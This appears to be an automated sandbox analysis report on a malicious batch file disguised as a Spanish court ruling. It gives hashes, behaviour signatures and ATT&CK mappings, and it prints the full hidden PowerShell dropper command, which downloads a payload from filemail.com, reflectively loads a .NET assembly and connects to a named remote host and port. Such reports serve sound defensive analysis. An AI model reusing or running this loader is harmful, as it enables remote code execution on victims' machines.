0cf292ac0cdac7a8a901ca29ad6db6782fc49ad1b29508c22c1c77c9c823434b

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
14/11/2024, 16:30

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General

Target

FALLO ACCIÓN DE TUTELA 2023-250 JDO 02 CMES.bat
Size

210KB
MD5

24e3c5a8c5ce37efb76a08a124a2f525
SHA1

1378fa68873d9ce2368aac281632ff5dab2f59d0
SHA256

233bca3f0a5f3dbc98d3765ecc8631fd552366a78f052cc13c970b94a107e459
SHA512

e9ae4a7948cefe01143e5646220f9b6d1c78b34db0ec4f2220d74daf8add209d5b55f76eb2fcf2b3d995cdeee957aebb3e0f9f736cced0ddba8ba249d18bcc62
SSDEEP

6144:vZuSzJTZolPPaVOZwrXQJ5RV5RFVVjRbVbJlv8:B

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_oxv3cUysOULpM&pk_vid=fd4f614bb209c62c1730851470a0904f

exe.dropper

https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_oxv3cUysOULpM&pk_vid=fd4f614bb209c62c1730851470a0904f

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2356	powershell.exe
6	2356	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2356	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monographista.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monographista.bat	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2356	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2356	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 2356	2180	cmd.exe	31
PID 2180 wrote to memory of 2356	2180	cmd.exe	31
PID 2180 wrote to memory of 2356	2180	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\FALLO ACCIÓN DE TUTELA 2023-250 JDO 02 CMES.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('gabrielfuentes.chickenkiller.com', '1996');"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2356

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:2744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2356-6-0x000007FEF599E000-0x000007FEF599F000-memory.dmp

Filesize
4KB

Download
memory/2356-7-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2356-8-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download
memory/2356-9-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2356-10-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2356-11-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download